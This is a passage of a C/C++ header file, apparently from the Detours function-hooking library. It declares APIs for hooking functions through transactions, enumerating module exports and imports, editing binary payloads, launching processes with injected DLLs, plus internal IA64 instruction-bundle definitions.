 515 | 
 516 |     typedef BOOL(CALLBACK* PF_DETOUR_BINARY_SYMBOL_CALLBACK)(
 517 |         _In_opt_ PVOID pContext,
 518 |         _In_ ULONG nOrigOrdinal,
 519 |         _In_ ULONG nOrdinal,
 520 |         _Out_ ULONG* pnOutOrdinal,
 521 |         _In_opt_ LPCSTR pszOrigSymbol,
 522 |         _In_opt_ LPCSTR pszSymbol,
 523 |         _Outptr_result_maybenull_ LPCSTR* ppszOutSymbol);
 524 | 
 525 |     typedef BOOL(CALLBACK* PF_DETOUR_BINARY_COMMIT_CALLBACK)(
 526 |         _In_opt_ PVOID pContext);
 527 | 
 528 |     typedef BOOL(CALLBACK* PF_DETOUR_ENUMERATE_EXPORT_CALLBACK)(_In_opt_ PVOID pContext,
 529 |         _In_ ULONG nOrdinal,
 530 |         _In_opt_ LPCSTR pszName,
 531 |         _In_opt_ PVOID pCode);
 532 | 
 533 |     typedef BOOL(CALLBACK* PF_DETOUR_IMPORT_FILE_CALLBACK)(_In_opt_ PVOID pContext,
 534 |         _In_opt_ HMODULE hModule,
 535 |         _In_opt_ LPCSTR pszFile);
 536 | 
 537 |     typedef BOOL(CALLBACK* PF_DETOUR_IMPORT_FUNC_CALLBACK)(_In_opt_ PVOID pContext,
 538 |         _In_ DWORD nOrdinal,
 539 |         _In_opt_ LPCSTR pszFunc,
 540 |         _In_opt_ PVOID pvFunc);
 541 | 
 542 |     // Same as PF_DETOUR_IMPORT_FUNC_CALLBACK but extra indirection on last parameter.
 543 |     typedef BOOL(CALLBACK* PF_DETOUR_IMPORT_FUNC_CALLBACK_EX)(_In_opt_ PVOID pContext,
 544 |         _In_ DWORD nOrdinal,
 545 |         _In_opt_ LPCSTR pszFunc,
 546 |         _In_opt_ PVOID* ppvFunc);
 547 | 
 548 |     typedef VOID* PDETOUR_BINARY;
 549 |     typedef VOID* PDETOUR_LOADED_BINARY;
 550 | 
 551 |     //////////////////////////////////////////////////////////// Transaction APIs.
 552 |     //
 553 |     LONG WINAPI DetourTransactionBegin(VOID);
 554 |     LONG WINAPI DetourTransactionAbort(VOID);
 555 |     LONG WINAPI DetourTransactionCommit(VOID);
 556 |     LONG WINAPI DetourTransactionCommitEx(_Out_opt_ PVOID** pppFailedPointer);
 557 | 
 558 |     LONG WINAPI DetourUpdateThread(_In_ HANDLE hThread);
 559 | 
 560 |     LONG WINAPI DetourAttach(_Inout_ PVOID* ppPointer,
 561 |         _In_ PVOID pDetour);
 562 | 
 563 |     LONG WINAPI DetourAttachEx(_Inout_ PVOID* ppPointer,
 564 |         _In_ PVOID pDetour,
 565 |         _Out_opt_ PDETOUR_TRAMPOLINE* ppRealTrampoline,
 566 |         _Out_opt_ PVOID* ppRealTarget,
 567 |         _Out_opt_ PVOID* ppRealDetour);
 568 | 
 569 |     LONG WINAPI DetourDetach(_Inout_ PVOID* ppPointer,
 570 |         _In_ PVOID pDetour);
 571 | 
 572 |     BOOL WINAPI DetourSetIgnoreTooSmall(_In_ BOOL fIgnore);
 573 |     BOOL WINAPI DetourSetRetainRegions(_In_ BOOL fRetain);
 574 |     PVOID WINAPI DetourSetSystemRegionLowerBound(_In_ PVOID pSystemRegionLowerBound);
 575 |     PVOID WINAPI DetourSetSystemRegionUpperBound(_In_ PVOID pSystemRegionUpperBound);
 576 | 
 577 |     ////////////////////////////////////////////////////////////// Code Functions.
 578 |     //
 579 |     PVOID WINAPI DetourFindFunction(_In_ LPCSTR pszModule,
 580 |         _In_ LPCSTR pszFunction);
 581 |     PVOID WINAPI DetourCodeFromPointer(_In_ PVOID pPointer,
 582 |         _Out_opt_ PVOID* ppGlobals);
 583 |     PVOID WINAPI DetourCopyInstruction(_In_opt_ PVOID pDst,
 584 |         _Inout_opt_ PVOID* ppDstPool,
 585 |         _In_ PVOID pSrc,
 586 |         _Out_opt_ PVOID* ppTarget,
 587 |         _Out_opt_ LONG* plExtra);
 588 |     BOOL WINAPI DetourSetCodeModule(_In_ HMODULE hModule,
 589 |         _In_ BOOL fLimitReferencesToModule);
 590 |     PVOID WINAPI DetourAllocateRegionWithinJumpBounds(_In_ LPCVOID pbTarget,
 591 |         _Out_ PDWORD pcbAllocatedSize);
 592 | 
 593 |     ///////////////////////////////////////////////////// Loaded Binary Functions.
 594 |     //
 595 |     HMODULE WINAPI DetourGetContainingModule(_In_ PVOID pvAddr);
 596 |     HMODULE WINAPI DetourEnumerateModules(_In_opt_ HMODULE hModuleLast);
 597 |     PVOID WINAPI DetourGetEntryPoint(_In_opt_ HMODULE hModule);
 598 |     ULONG WINAPI DetourGetModuleSize(_In_opt_ HMODULE hModule);
 599 |     BOOL WINAPI DetourEnumerateExports(_In_ HMODULE hModule,
 600 |         _In_opt_ PVOID pContext,
 601 |         _In_ PF_DETOUR_ENUMERATE_EXPORT_CALLBACK pfExport);
 602 |     BOOL WINAPI DetourEnumerateImports(_In_opt_ HMODULE hModule,
 603 |         _In_opt_ PVOID pContext,
 604 |         _In_opt_ PF_DETOUR_IMPORT_FILE_CALLBACK pfImportFile,
 605 |         _In_opt_ PF_DETOUR_IMPORT_FUNC_CALLBACK pfImportFunc);
 606 | 
 607 |     BOOL WINAPI DetourEnumerateImportsEx(_In_opt_ HMODULE hModule,
 608 |         _In_opt_ PVOID pContext,
 609 |         _In_opt_ PF_DETOUR_IMPORT_FILE_CALLBACK pfImportFile,
 610 |         _In_opt_ PF_DETOUR_IMPORT_FUNC_CALLBACK_EX pfImportFuncEx);
 611 | 
 612 |     _Writable_bytes_(*pcbData)
 613 |         _Readable_bytes_(*pcbData)
 614 |         _Success_(return != NULL)
 615 |         PVOID WINAPI DetourFindPayload(_In_opt_ HMODULE hModule,
 616 |             _In_ REFGUID rguid,
 617 |             _Out_opt_ DWORD* pcbData);
 618 | 
 619 |     _Writable_bytes_(*pcbData)
 620 |         _Readable_bytes_(*pcbData)
 621 |         _Success_(return != NULL)
 622 |         PVOID WINAPI DetourFindPayloadEx(_In_ REFGUID rguid,
 623 |             _Out_opt_ DWORD* pcbData);
 624 | 
 625 |     DWORD WINAPI DetourGetSizeOfPayloads(_In_opt_ HMODULE hModule);
 626 | 
 627 |     ///////////////////////////////////////////////// Persistent Binary Functions.
 628 |     //
 629 | 
 630 |     PDETOUR_BINARY WINAPI DetourBinaryOpen(_In_ HANDLE hFile);
 631 | 
 632 |     _Writable_bytes_(*pcbData)
 633 |         _Readable_bytes_(*pcbData)
 634 |         _Success_(return != NULL)
 635 |         PVOID WINAPI DetourBinaryEnumeratePayloads(_In_ PDETOUR_BINARY pBinary,
 636 |             _Out_opt_ GUID* pGuid,
 637 |             _Out_ DWORD* pcbData,
 638 |             _Inout_ DWORD* pnIterator);
 639 | 
 640 |     _Writable_bytes_(*pcbData)
 641 |         _Readable_bytes_(*pcbData)
 642 |         _Success_(return != NULL)
 643 |         PVOID WINAPI DetourBinaryFindPayload(_In_ PDETOUR_BINARY pBinary,
 644 |             _In_ REFGUID rguid,
 645 |             _Out_ DWORD* pcbData);
 646 | 
 647 |     PVOID WINAPI DetourBinarySetPayload(_In_ PDETOUR_BINARY pBinary,
 648 |         _In_ REFGUID rguid,
 649 |         _In_reads_opt_(cbData) PVOID pData,
 650 |         _In_ DWORD cbData);
 651 |     BOOL WINAPI DetourBinaryDeletePayload(_In_ PDETOUR_BINARY pBinary, _In_ REFGUID rguid);
 652 |     BOOL WINAPI DetourBinaryPurgePayloads(_In_ PDETOUR_BINARY pBinary);
 653 |     BOOL WINAPI DetourBinaryResetImports(_In_ PDETOUR_BINARY pBinary);
 654 |     BOOL WINAPI DetourBinaryEditImports(_In_ PDETOUR_BINARY pBinary,
 655 |         _In_opt_ PVOID pContext,
 656 |         _In_opt_ PF_DETOUR_BINARY_BYWAY_CALLBACK pfByway,
 657 |         _In_opt_ PF_DETOUR_BINARY_FILE_CALLBACK pfFile,
 658 |         _In_opt_ PF_DETOUR_BINARY_SYMBOL_CALLBACK pfSymbol,
 659 |         _In_opt_ PF_DETOUR_BINARY_COMMIT_CALLBACK pfCommit);
 660 |     BOOL WINAPI DetourBinaryWrite(_In_ PDETOUR_BINARY pBinary, _In_ HANDLE hFile);
 661 |     BOOL WINAPI DetourBinaryClose(_In_ PDETOUR_BINARY pBinary);
 662 | 
 663 |     /////////////////////////////////////////////////// Create Process & Load Dll.
 664 |     //
 665 |     _Success_(return != NULL)
 666 |         PVOID WINAPI DetourFindRemotePayload(_In_ HANDLE hProcess,
 667 |             _In_ REFGUID rguid,
 668 |             _Out_opt_ DWORD* pcbData);
 669 | 
 670 |     typedef BOOL(WINAPI* PDETOUR_CREATE_PROCESS_ROUTINEA)(
 671 |         _In_opt_ LPCSTR lpApplicationName,
 672 |         _Inout_opt_ LPSTR lpCommandLine,
 673 |         _In_opt_ LPSECURITY_ATTRIBUTES lpProcessAttributes,
 674 |         _In_opt_ LPSECURITY_ATTRIBUTES lpThreadAttributes,
 675 |         _In_ BOOL bInheritHandles,
 676 |         _In_ DWORD dwCreationFlags,
 677 |         _In_opt_ LPVOID lpEnvironment,
 678 |         _In_opt_ LPCSTR lpCurrentDirectory,
 679 |         _In_ LPSTARTUPINFOA lpStartupInfo,
 680 |         _Out_ LPPROCESS_INFORMATION lpProcessInformation);
 681 | 
 682 |     typedef BOOL(WINAPI* PDETOUR_CREATE_PROCESS_ROUTINEW)(
 683 |         _In_opt_ LPCWSTR lpApplicationName,
 684 |         _Inout_opt_ LPWSTR lpCommandLine,
 685 |         _In_opt_ LPSECURITY_ATTRIBUTES lpProcessAttributes,
 686 |         _In_opt_ LPSECURITY_ATTRIBUTES lpThreadAttributes,
 687 |         _In_ BOOL bInheritHandles,
 688 |         _In_ DWORD dwCreationFlags,
 689 |         _In_opt_ LPVOID lpEnvironment,
 690 |         _In_opt_ LPCWSTR lpCurrentDirectory,
 691 |         _In_ LPSTARTUPINFOW lpStartupInfo,
 692 |         _Out_ LPPROCESS_INFORMATION lpProcessInformation);
 693 | 
 694 |     BOOL WINAPI DetourCreateProcessWithDllA(_In_opt_ LPCSTR lpApplicationName,
 695 |         _Inout_opt_ LPSTR lpCommandLine,
 696 |         _In_opt_ LPSECURITY_ATTRIBUTES lpProcessAttributes,
 697 |         _In_opt_ LPSECURITY_ATTRIBUTES lpThreadAttributes,
 698 |         _In_ BOOL bInheritHandles,
 699 |         _In_ DWORD dwCreationFlags,
 700 |         _In_opt_ LPVOID lpEnvironment,
 701 |         _In_opt_ LPCSTR lpCurrentDirectory,
 702 |         _In_ LPSTARTUPINFOA lpStartupInfo,
 703 |         _Out_ LPPROCESS_INFORMATION lpProcessInformation,
 704 |         _In_ LPCSTR lpDllName,
 705 |         _In_opt_ PDETOUR_CREATE_PROCESS_ROUTINEA pfCreateProcessA);
 706 | 
 707 |     BOOL WINAPI DetourCreateProcessWithDllW(_In_opt_ LPCWSTR lpApplicationName,
 708 |         _Inout_opt_ LPWSTR lpCommandLine,
 709 |         _In_opt_ LPSECURITY_ATTRIBUTES lpProcessAttributes,
 710 |         _In_opt_ LPSECURITY_ATTRIBUTES lpThreadAttributes,
 711 |         _In_ BOOL bInheritHandles,
 712 |         _In_ DWORD dwCreationFlags,
 713 |         _In_opt_ LPVOID lpEnvironment,
 714 |         _In_opt_ LPCWSTR lpCurrentDirectory,
 715 |         _In_ LPSTARTUPINFOW lpStartupInfo,
 716 |         _Out_ LPPROCESS_INFORMATION lpProcessInformation,
 717 |         _In_ LPCSTR lpDllName,
 718 |         _In_opt_ PDETOUR_CREATE_PROCESS_ROUTINEW pfCreateProcessW);
 719 | 
 720 | #ifdef UNICODE
 721 | #define DetourCreateProcessWithDll      DetourCreateProcessWithDllW
 722 | #define PDETOUR_CREATE_PROCESS_ROUTINE  PDETOUR_CREATE_PROCESS_ROUTINEW
 723 | #else
 724 | #define DetourCreateProcessWithDll      DetourCreateProcessWithDllA
 725 | #define PDETOUR_CREATE_PROCESS_ROUTINE  PDETOUR_CREATE_PROCESS_ROUTINEA
 726 | #endif // !UNICODE
 727 | 
 728 |     BOOL WINAPI DetourCreateProcessWithDllExA(_In_opt_ LPCSTR lpApplicationName,
 729 |         _Inout_opt_ LPSTR lpCommandLine,
 730 |         _In_opt_ LPSECURITY_ATTRIBUTES lpProcessAttributes,
 731 |         _In_opt_ LPSECURITY_ATTRIBUTES lpThreadAttributes,
 732 |         _In_ BOOL bInheritHandles,
 733 |         _In_ DWORD dwCreationFlags,
 734 |         _In_opt_ LPVOID lpEnvironment,
 735 |         _In_opt_ LPCSTR lpCurrentDirectory,
 736 |         _In_ LPSTARTUPINFOA lpStartupInfo,
 737 |         _Out_ LPPROCESS_INFORMATION lpProcessInformation,
 738 |         _In_ LPCSTR lpDllName,
 739 |         _In_opt_ PDETOUR_CREATE_PROCESS_ROUTINEA pfCreateProcessA);
 740 | 
 741 |     BOOL WINAPI DetourCreateProcessWithDllExW(_In_opt_ LPCWSTR lpApplicationName,
 742 |         _Inout_opt_  LPWSTR lpCommandLine,
 743 |         _In_opt_ LPSECURITY_ATTRIBUTES lpProcessAttributes,
 744 |         _In_opt_ LPSECURITY_ATTRIBUTES lpThreadAttributes,
 745 |         _In_ BOOL bInheritHandles,
 746 |         _In_ DWORD dwCreationFlags,
 747 |         _In_opt_ LPVOID lpEnvironment,
 748 |         _In_opt_ LPCWSTR lpCurrentDirectory,
 749 |         _In_ LPSTARTUPINFOW lpStartupInfo,
 750 |         _Out_ LPPROCESS_INFORMATION lpProcessInformation,
 751 |         _In_ LPCSTR lpDllName,
 752 |         _In_opt_ PDETOUR_CREATE_PROCESS_ROUTINEW pfCreateProcessW);
 753 | 
 754 | #ifdef UNICODE
 755 | #define DetourCreateProcessWithDllEx    DetourCreateProcessWithDllExW
 756 | #else
 757 | #define DetourCreateProcessWithDllEx    DetourCreateProcessWithDllExA
 758 | #endif // !UNICODE
 759 | 
 760 |     BOOL WINAPI DetourCreateProcessWithDllsA(_In_opt_ LPCSTR lpApplicationName,
 761 |         _Inout_opt_ LPSTR lpCommandLine,
 762 |         _In_opt_ LPSECURITY_ATTRIBUTES lpProcessAttributes,
 763 |         _In_opt_ LPSECURITY_ATTRIBUTES lpThreadAttributes,
 764 |         _In_ BOOL bInheritHandles,
 765 |         _In_ DWORD dwCreationFlags,
 766 |         _In_opt_ LPVOID lpEnvironment,
 767 |         _In_opt_ LPCSTR lpCurrentDirectory,
 768 |         _In_ LPSTARTUPINFOA lpStartupInfo,
 769 |         _Out_ LPPROCESS_INFORMATION lpProcessInformation,
 770 |         _In_ DWORD nDlls,
 771 |         _In_reads_(nDlls) LPCSTR* rlpDlls,
 772 |         _In_opt_ PDETOUR_CREATE_PROCESS_ROUTINEA pfCreateProcessA);
 773 | 
 774 |     BOOL WINAPI DetourCreateProcessWithDllsW(_In_opt_ LPCWSTR lpApplicationName,
 775 |         _Inout_opt_ LPWSTR lpCommandLine,
 776 |         _In_opt_ LPSECURITY_ATTRIBUTES lpProcessAttributes,
 777 |         _In_opt_ LPSECURITY_ATTRIBUTES lpThreadAttributes,
 778 |         _In_ BOOL bInheritHandles,
 779 |         _In_ DWORD dwCreationFlags,
 780 |         _In_opt_ LPVOID lpEnvironment,
 781 |         _In_opt_ LPCWSTR lpCurrentDirectory,
 782 |         _In_ LPSTARTUPINFOW lpStartupInfo,
 783 |         _Out_ LPPROCESS_INFORMATION lpProcessInformation,
 784 |         _In_ DWORD nDlls,
 785 |         _In_reads_(nDlls) LPCSTR* rlpDlls,
 786 |         _In_opt_ PDETOUR_CREATE_PROCESS_ROUTINEW pfCreateProcessW);
 787 | 
 788 | #ifdef UNICODE
 789 | #define DetourCreateProcessWithDlls     DetourCreateProcessWithDllsW
 790 | #else
 791 | #define DetourCreateProcessWithDlls     DetourCreateProcessWithDllsA
 792 | #endif // !UNICODE
 793 | 
 794 |     BOOL WINAPI DetourProcessViaHelperA(_In_ DWORD dwTargetPid,
 795 |         _In_ LPCSTR lpDllName,
 796 |         _In_ PDETOUR_CREATE_PROCESS_ROUTINEA pfCreateProcessA);
 797 | 
 798 |     BOOL WINAPI DetourProcessViaHelperW(_In_ DWORD dwTargetPid,
 799 |         _In_ LPCSTR lpDllName,
 800 |         _In_ PDETOUR_CREATE_PROCESS_ROUTINEW pfCreateProcessW);
 801 | 
 802 | #ifdef UNICODE
 803 | #define DetourProcessViaHelper          DetourProcessViaHelperW
 804 | #else
 805 | #define DetourProcessViaHelper          DetourProcessViaHelperA
 806 | #endif // !UNICODE
 807 | 
 808 |     BOOL WINAPI DetourProcessViaHelperDllsA(_In_ DWORD dwTargetPid,
 809 |         _In_ DWORD nDlls,
 810 |         _In_reads_(nDlls) LPCSTR* rlpDlls,
 811 |         _In_ PDETOUR_CREATE_PROCESS_ROUTINEA pfCreateProcessA);
 812 | 
 813 |     BOOL WINAPI DetourProcessViaHelperDllsW(_In_ DWORD dwTargetPid,
 814 |         _In_ DWORD nDlls,
 815 |         _In_reads_(nDlls) LPCSTR* rlpDlls,
 816 |         _In_ PDETOUR_CREATE_PROCESS_ROUTINEW pfCreateProcessW);
 817 | 
 818 | #ifdef UNICODE
 819 | #define DetourProcessViaHelperDlls      DetourProcessViaHelperDllsW
 820 | #else
 821 | #define DetourProcessViaHelperDlls      DetourProcessViaHelperDllsA
 822 | #endif // !UNICODE
 823 | 
 824 |     BOOL WINAPI DetourUpdateProcessWithDll(_In_ HANDLE hProcess,
 825 |         _In_reads_(nDlls) LPCSTR* rlpDlls,
 826 |         _In_ DWORD nDlls);
 827 | 
 828 |     BOOL WINAPI DetourUpdateProcessWithDllEx(_In_ HANDLE hProcess,
 829 |         _In_ HMODULE hImage,
 830 |         _In_ BOOL bIs32Bit,
 831 |         _In_reads_(nDlls) LPCSTR* rlpDlls,
 832 |         _In_ DWORD nDlls);
 833 | 
 834 |     BOOL WINAPI DetourCopyPayloadToProcess(_In_ HANDLE hProcess,
 835 |         _In_ REFGUID rguid,
 836 |         _In_reads_bytes_(cbData) LPCVOID pvData,
 837 |         _In_ DWORD cbData);
 838 |     _Success_(return != NULL)
 839 |         PVOID WINAPI DetourCopyPayloadToProcessEx(_In_ HANDLE hProcess,
 840 |             _In_ REFGUID rguid,
 841 |             _In_reads_bytes_(cbData) LPCVOID pvData,
 842 |             _In_ DWORD cbData);
 843 | 
 844 |     BOOL WINAPI DetourRestoreAfterWith(VOID);
 845 |     BOOL WINAPI DetourRestoreAfterWithEx(_In_reads_bytes_(cbData) PVOID pvData,
 846 |         _In_ DWORD cbData);
 847 |     BOOL WINAPI DetourIsHelperProcess(VOID);
 848 |     VOID CALLBACK DetourFinishHelperProcess(_In_ HWND,
 849 |         _In_ HINSTANCE,
 850 |         _In_ LPSTR,
 851 |         _In_ INT);
 852 | 
 853 |     //
 854 |     //////////////////////////////////////////////////////////////////////////////
 855 | #ifdef __cplusplus
 856 | }
 857 | #endif // __cplusplus
 858 | 
 859 | /////////////////////////////////////////////////// Type-safe overloads for C++
 860 | //
 861 | #if __cplusplus >= 201103L || _MSVC_LANG >= 201103L
 862 | #include <type_traits>
 863 | 
 864 | template<typename T>
 865 | struct DetoursIsFunctionPointer : std::false_type {};
 866 | 
 867 | template<typename T>
 868 | struct DetoursIsFunctionPointer<T*> : std::is_function<typename std::remove_pointer<T>::type> {};
 869 | 
 870 | template<
 871 |     typename T,
 872 |     typename std::enable_if<DetoursIsFunctionPointer<T>::value, int>::type = 0>
 873 |     LONG DetourAttach(_Inout_ T* ppPointer,
 874 |         _In_ T pDetour) noexcept
 875 | {
 876 |     return DetourAttach(
 877 |         reinterpret_cast<void**>(ppPointer),
 878 |         reinterpret_cast<void*>(pDetour));
 879 | }
 880 | 
 881 | template<
 882 |     typename T,
 883 |     typename std::enable_if<DetoursIsFunctionPointer<T>::value, int>::type = 0>
 884 |     LONG DetourAttachEx(_Inout_ T* ppPointer,
 885 |         _In_ T pDetour,
 886 |         _Out_opt_ PDETOUR_TRAMPOLINE* ppRealTrampoline,
 887 |         _Out_opt_ T* ppRealTarget,
 888 |         _Out_opt_ T* ppRealDetour) noexcept
 889 | {
 890 |     return DetourAttachEx(
 891 |         reinterpret_cast<void**>(ppPointer),
 892 |         reinterpret_cast<void*>(pDetour),
 893 |         ppRealTrampoline,
 894 |         reinterpret_cast<void**>(ppRealTarget),
 895 |         reinterpret_cast<void**>(ppRealDetour));
 896 | }
 897 | 
 898 | template<
 899 |     typename T,
 900 |     typename std::enable_if<DetoursIsFunctionPointer<T>::value, int>::type = 0>
 901 |     LONG DetourDetach(_Inout_ T* ppPointer,
 902 |         _In_ T pDetour) noexcept
 903 | {
 904 |     return DetourDetach(
 905 |         reinterpret_cast<void**>(ppPointer),
 906 |         reinterpret_cast<void*>(pDetour));
 907 | }
 908 | 
 909 | #endif // __cplusplus >= 201103L || _MSVC_LANG >= 201103L
 910 | //
 911 | //////////////////////////////////////////////////////////////////////////////
 912 | 
 913 | //////////////////////////////////////////////// Detours Internal Definitions.
 914 | //
 915 | #ifdef __cplusplus
 916 | #ifdef DETOURS_INTERNAL
 917 | 
 918 | #define NOTHROW
 919 | // #define NOTHROW (nothrow)
 920 | 
 921 | //////////////////////////////////////////////////////////////////////////////
 922 | //
 923 | #if (_MSC_VER < 1299) && !defined(__GNUC__)
 924 | #include <imagehlp.h>
 925 | typedef IMAGEHLP_MODULE IMAGEHLP_MODULE64;
 926 | typedef PIMAGEHLP_MODULE PIMAGEHLP_MODULE64;
 927 | typedef IMAGEHLP_SYMBOL SYMBOL_INFO;
 928 | typedef PIMAGEHLP_SYMBOL PSYMBOL_INFO;
 929 | 
 930 | static inline
 931 | LONG InterlockedCompareExchange(_Inout_ LONG* ptr, _In_ LONG nval, _In_ LONG oval)
 932 | {
 933 |     return (LONG)::InterlockedCompareExchange((PVOID*)ptr, (PVOID)nval, (PVOID)oval);
 934 | }
 935 | #else
 936 | #pragma warning(push)
 937 | #pragma warning(disable:4091) // empty typedef
 938 | #include <dbghelp.h>
 939 | #pragma warning(pop)
 940 | #endif
 941 | 
 942 | #ifdef IMAGEAPI // defined by DBGHELP.H
 943 | typedef LPAPI_VERSION(NTAPI* PF_ImagehlpApiVersionEx)(_In_ LPAPI_VERSION AppVersion);
 944 | 
 945 | typedef BOOL(NTAPI* PF_SymInitialize)(_In_ HANDLE hProcess,
 946 |     _In_opt_ LPCSTR UserSearchPath,
 947 |     _In_ BOOL fInvadeProcess);
 948 | typedef DWORD(NTAPI* PF_SymSetOptions)(_In_ DWORD SymOptions);
 949 | typedef DWORD(NTAPI* PF_SymGetOptions)(VOID);
 950 | typedef DWORD64(NTAPI* PF_SymLoadModule64)(_In_ HANDLE hProcess,
 951 |     _In_opt_ HANDLE hFile,
 952 |     _In_ LPSTR ImageName,
 953 |     _In_opt_ LPSTR ModuleName,
 954 |     _In_ DWORD64 BaseOfDll,
 955 |     _In_opt_ DWORD SizeOfDll);
 956 | typedef BOOL(NTAPI* PF_SymGetModuleInfo64)(_In_ HANDLE hProcess,
 957 |     _In_ DWORD64 qwAddr,
 958 |     _Out_ PIMAGEHLP_MODULE64 ModuleInfo);
 959 | typedef BOOL(NTAPI* PF_SymFromName)(_In_ HANDLE hProcess,
 960 |     _In_ LPSTR Name,
 961 |     _Out_ PSYMBOL_INFO Symbol);
 962 | 
 963 | typedef struct _DETOUR_SYM_INFO
 964 | {
 965 |     HANDLE                  hProcess;
 966 |     HMODULE                 hDbgHelp;
 967 |     PF_ImagehlpApiVersionEx pfImagehlpApiVersionEx;
 968 |     PF_SymInitialize        pfSymInitialize;
 969 |     PF_SymSetOptions        pfSymSetOptions;
 970 |     PF_SymGetOptions        pfSymGetOptions;
 971 |     PF_SymLoadModule64      pfSymLoadModule64;
 972 |     PF_SymGetModuleInfo64   pfSymGetModuleInfo64;
 973 |     PF_SymFromName          pfSymFromName;
 974 | } DETOUR_SYM_INFO, * PDETOUR_SYM_INFO;
 975 | 
 976 | PDETOUR_SYM_INFO DetourLoadImageHlp(VOID);
 977 | 
 978 | #endif // IMAGEAPI
 979 | 
 980 | #if defined(_INC_STDIO) && !defined(_CRT_STDIO_ARBITRARY_WIDE_SPECIFIERS)
 981 | #error detours.h must be included before stdio.h (or at least define _CRT_STDIO_ARBITRARY_WIDE_SPECIFIERS earlier)
 982 | #endif
 983 | #define _CRT_STDIO_ARBITRARY_WIDE_SPECIFIERS 1
 984 | 
 985 | #ifndef DETOUR_TRACE
 986 | #if DETOUR_DEBUG
 987 | #define DETOUR_TRACE(x) printf x
 988 | #define DETOUR_BREAK()  __debugbreak()
 989 | #include <stdio.h>
 990 | #include <limits.h>
 991 | #else
 992 | #define DETOUR_TRACE(x)
 993 | #define DETOUR_BREAK()
 994 | #endif
 995 | #endif
 996 | 
 997 | #if 1 || defined(DETOURS_IA64)
 998 | 
 999 | //
1000 | // IA64 instructions are 41 bits, 3 per bundle, plus 5 bit bundle template => 128 bits per bundle.
1001 | //
1002 | 
1003 | #define DETOUR_IA64_INSTRUCTIONS_PER_BUNDLE (3)
1004 | 
1005 | #define DETOUR_IA64_TEMPLATE_OFFSET (0)
1006 | #define DETOUR_IA64_TEMPLATE_SIZE   (5)
1007 | 
1008 | #define DETOUR_IA64_INSTRUCTION_SIZE (41)
1009 | #define DETOUR_IA64_INSTRUCTION0_OFFSET (DETOUR_IA64_TEMPLATE_SIZE)
1010 | #define DETOUR_IA64_INSTRUCTION1_OFFSET (DETOUR_IA64_TEMPLATE_SIZE + DETOUR_IA64_INSTRUCTION_SIZE)
1011 | #define DETOUR_IA64_INSTRUCTION2_OFFSET (DETOUR_IA64_TEMPLATE_SIZE + DETOUR_IA64_INSTRUCTION_SIZE + DETOUR_IA64_INSTRUCTION_SIZE)
1012 | 
1013 | C_ASSERT(DETOUR_IA64_TEMPLATE_SIZE + DETOUR_IA64_INSTRUCTIONS_PER_BUNDLE * DETOUR_IA64_INSTRUCTION_SIZE == 128);
1014 | 
1015 | __declspec(align(16)) struct DETOUR_IA64_BUNDLE
1016 | {
1017 | public:
1018 |     union
1019 |     {
1020 |         BYTE    data[16];
1021 |         UINT64  wide[2];
1022 |     };
1023 | 
1024 |     enum {
1025 |         A_UNIT = 1u,
1026 |         I_UNIT = 2u,
1027 |         M_UNIT = 3u,
1028 |         B_UNIT = 4u,
1029 |         F_UNIT = 5u,
1030 |         L_UNIT = 6u,
1031 |         X_UNIT = 7u,
1032 |     };
1033 |     struct DETOUR_IA64_METADATA
1034 |     {
1035 |         ULONG       nTemplate : 8;    // Instruction template.
1036 |         ULONG       nUnit0 : 4;    // Unit for slot 0
1037 |         ULONG       nUnit1 : 4;    // Unit for slot 1
1038 |         ULONG       nUnit2 : 4;    // Unit for slot 2
1039 |     };
1040 | 
1041 | protected:
1042 |     static const DETOUR_IA64_METADATA s_rceCopyTable[33];
1043 | 
1044 |     UINT RelocateBundle(_Inout_ DETOUR_IA64_BUNDLE* pDst, _Inout_opt_ DETOUR_IA64_BUNDLE* pBundleExtra) const;
1045 | 
1046 |     bool RelocateInstruction(_Inout_ DETOUR_IA64_BUNDLE* pDst,
1047 |         _In_ BYTE slot,
1048 |         _Inout_opt_ DETOUR_IA64_BUNDLE* pBundleExtra) const;
1049 | 
1050 |     // 120 112 104 96 88 80 72 64 56 48 40 32 24 16  8  0
1051 |     //  f.  e.  d. c. b. a. 9. 8. 7. 6. 5. 4. 3. 2. 1. 0.
1052 | 
1053 |     //                                      00
1054 |     // f.e. d.c. b.a. 9.8. 7.6. 5.4. 3.2. 1.0.
1055 |     // 0000 0000 0000 0000 0000 0000 0000 001f : Template [4..0]
1056 |     // 0000 0000 0000 0000 0000 03ff ffff ffe0 : Zero [ 41..  5]
1057 |     // 0000 0000 0000 0000 0000 3c00 0000 0000 : Zero [ 45.. 42]
1058 |     // 0000 0000 0007 ffff ffff c000 0000 0000 : One  [ 82.. 46]
1059 |     // 0000 0000 0078 0000 0000 0000 0000 0000 : One  [ 86.. 83]
1060 |     // 0fff ffff ff80 0000 0000 0000 0000 0000 : Two  [123.. 87]
1061 |     // f000 0000 0000 0000 0000 0000 0000 0000 : Two  [127..124]
1062 |     BYTE    GetTemplate() const;
1063 |     // Get 4 bit opcodes.
1064 |     BYTE    GetInst0() const;
1065 |     BYTE    GetInst1() const;
1066 |     BYTE    GetInst2() const;
1067 |     BYTE    GetUnit(BYTE slot) const;
1068 |     BYTE    GetUnit0() const;
1069 |     BYTE    GetUnit1() const;
1070 |     BYTE    GetUnit2() const;
1071 |     // Get 37 bit data.
1072 |     UINT64  GetData0() const;
1073 |     UINT64  GetData1() const;
1074 |     UINT64  GetData2() const;
1075 | 
1076 |     // Get/set the full 41 bit instructions.
1077 |     UINT64  GetInstruction(BYTE slot) const;
1078 |     UINT64  GetInstruction0() const;
1079 |     UINT64  GetInstruction1() const;
1080 |     UINT64  GetInstruction2() const;
1081 |     void    SetInstruction(BYTE slot, UINT64 instruction);
1082 |     void    SetInstruction0(UINT64 instruction);
1083 |     void    SetInstruction1(UINT64 instruction);
1084 |     void    SetInstruction2(UINT64 instruction);
1085 | 
1086 |     // Get/set bitfields.
1087 |     static UINT64 GetBits(UINT64 Value, UINT64 Offset, UINT64 Count);
1088 |     static UINT64 SetBits(UINT64 Value, UINT64 Offset, UINT64 Count, UINT64 Field);
1089 | 
1090 |     // Get specific read-only fields.
1091 |     static UINT64 GetOpcode(UINT64 instruction); // 4bit opcode
1092 |     static UINT64 GetX(UINT64 instruction); // 1bit opcode extension
1093 |     static UINT64 GetX3(UINT64 instruction); // 3bit opcode extension
1094 |     static UINT64 GetX6(UINT64 instruction); // 6bit opcode extension
1095 | 
1096 |     // Get/set specific fields.
1097 |     static UINT64 GetImm7a(UINT64 instruction);
1098 |     static UINT64 SetImm7a(UINT64 instruction, UINT64 imm7a);
